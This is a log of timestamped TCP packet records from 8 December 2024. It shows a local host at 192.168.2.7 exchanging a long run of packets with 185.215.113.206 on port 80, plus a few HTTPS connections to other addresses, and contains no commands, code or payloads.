Dec 8, 2024 00:48:02.528882980 CET	49675	443	192.168.2.7	104.98.116.138
Dec 8, 2024 00:48:02.778808117 CET	49672	443	192.168.2.7	104.98.116.138
Dec 8, 2024 00:48:04.481873989 CET	49671	443	192.168.2.7	204.79.197.203
Dec 8, 2024 00:48:08.497939110 CET	49677	443	192.168.2.7	20.50.201.200
Dec 8, 2024 00:48:08.698401928 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:08.817929983 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:08.818003893 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:08.829118967 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:08.872541904 CET	49677	443	192.168.2.7	20.50.201.200
Dec 8, 2024 00:48:08.948604107 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:09.294464111 CET	49671	443	192.168.2.7	204.79.197.203
Dec 8, 2024 00:48:09.622575998 CET	49677	443	192.168.2.7	20.50.201.200
Dec 8, 2024 00:48:10.160553932 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:10.163120031 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:10.196970940 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:10.316554070 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:10.658907890 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:10.661238909 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:10.666218042 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:10.785731077 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.110708952 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.110730886 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.110770941 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:11.110826015 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:11.122567892 CET	49677	443	192.168.2.7	20.50.201.200
Dec 8, 2024 00:48:11.302691936 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.302746058 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:11.304013014 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:11.423518896 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.748625994 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.748714924 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.748725891 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.748811007 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:11.748843908 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.748857021 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.748898029 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:11.756999016 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.757076025 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:11.757110119 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:11.761034012 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:11.762267113 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:11.881710052 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:12.138309002 CET	49675	443	192.168.2.7	104.98.116.138
Dec 8, 2024 00:48:12.138341904 CET	49674	443	192.168.2.7	104.98.116.138
Dec 8, 2024 00:48:12.206264973 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:12.206321955 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:12.221893072 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:12.221952915 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:12.341563940 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:12.341583967 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:12.341602087 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:12.341610909 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:12.341654062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:12.341670990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:12.341797113 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:12.388380051 CET	49672	443	192.168.2.7	104.98.116.138
Dec 8, 2024 00:48:13.195178032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:13.195234060 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:13.299958944 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:13.299994946 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:13.300057888 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:13.300589085 CET	49702	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:13.300601959 CET	443	49702	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:13.534387112 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:13.653979063 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:13.990195990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:13.990230083 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:13.990259886 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:13.990513086 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:13.994302988 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:13.994365931 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:13.994466066 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:13.999736071 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:13.999799013 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:13.999857903 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:13.999901056 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.008204937 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.008265018 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.008270979 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.008310080 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.016551018 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.016601086 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.016659021 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.016706944 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.024883032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.024931908 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.106978893 CET	49677	443	192.168.2.7	20.50.201.200
Dec 8, 2024 00:48:14.120028973 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.120091915 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.120134115 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.120187044 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.124211073 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.124260902 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.124290943 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.124385118 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.132586956 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.132659912 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.132689953 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.132730007 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.140960932 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.141016006 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.141031981 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.141082048 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.149322987 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.149399996 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.149409056 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.149442911 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.157660961 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.157736063 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.182358980 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.182403088 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.182415962 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.182456017 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.186528921 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.186599970 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.186625004 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.186640024 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.194910049 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.194976091 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.195002079 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.195027113 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.203411102 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.203433037 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.203454971 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.203486919 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.211869001 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.211891890 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.211921930 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.211941957 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.219968081 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.220017910 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.220062017 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.220185995 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.228348970 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.228400946 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.228460073 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.228499889 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.249397993 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.249443054 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.249454975 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.249483109 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.253582954 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.253628969 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.254398108 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.254446030 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.254502058 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.254561901 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.262820005 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.262887001 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.262931108 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.271136999 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.271190882 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.312047958 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.312119961 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.312155962 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.312191963 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.314333916 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.314410925 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.314426899 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.314460993 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.321773052 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.321851969 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.321906090 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.329344988 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.329401970 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.329416037 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.329453945 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.336844921 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.336891890 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.336950064 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.336986065 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.343869925 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.343933105 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.343983889 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.344058990 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.350430012 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.350478888 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.350536108 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.350600004 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.356698990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.356766939 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.356779099 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.356815100 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.362648010 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.362708092 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.362746954 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.362787962 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.368340969 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.368398905 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.368422031 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.368462086 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.373992920 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.374083042 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.376630068 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.376696110 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.376744986 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.376872063 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.380080938 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.380112886 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.380134106 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.380151033 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.383563042 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.383619070 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.383634090 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.383672953 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.387109995 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.387164116 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.387186050 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.387226105 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.390584946 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.390635967 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.390718937 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.394049883 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.394104958 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.394131899 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.394242048 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.397525072 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.397572041 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.397655010 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.397694111 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.401010990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.401062012 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.401099920 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.401139975 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.404455900 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.404556990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.404606104 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.407910109 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.408044100 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.408134937 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.411370993 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.411474943 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.411604881 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.414808035 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.414895058 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.441598892 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.441705942 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.441783905 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.441818953 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.443236113 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.443284988 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.443902969 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.443947077 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.443994045 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.444031954 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.447577953 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.447633982 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.447674990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.447717905 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.450860023 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.450917959 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.451035023 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.451081038 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.510970116 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.510989904 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.511245966 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.511674881 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.511720896 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.511786938 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.511827946 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.514492035 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.514538050 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.514573097 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.514616966 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.517286062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.517330885 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.517371893 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.517429113 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.520070076 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.520116091 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.520159960 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.520200968 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.522787094 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.522834063 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.522895098 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.522933960 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.525413036 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.525458097 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.525506973 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.525558949 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.528031111 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.528093100 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.528122902 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.528160095 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.530486107 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.530555010 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.530592918 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.530668020 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.532888889 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.532938004 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.533006907 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.533050060 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.535242081 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.535290003 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.535343885 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.535383940 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.537560940 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.537609100 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.537642002 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.537682056 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.539855003 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.539906979 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.539946079 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.539987087 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.542113066 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.542161942 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.542217016 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.542256117 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.544404030 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.544485092 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.544528961 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.544569016 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.546746969 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.546793938 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.546818018 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.546850920 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.548993111 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.549031973 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.549128056 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.549170017 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.551276922 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.551331043 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.551383018 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.551418066 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.553527117 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.553569078 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.577529907 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.577543974 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.577788115 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.578039885 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.578089952 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.578124046 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.578181028 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.579963923 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.580008984 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.580056906 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.580111027 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.581902981 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:14.581944942 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:14.582011938 CET	80	49701	185.215.113.206	192.168.2.7
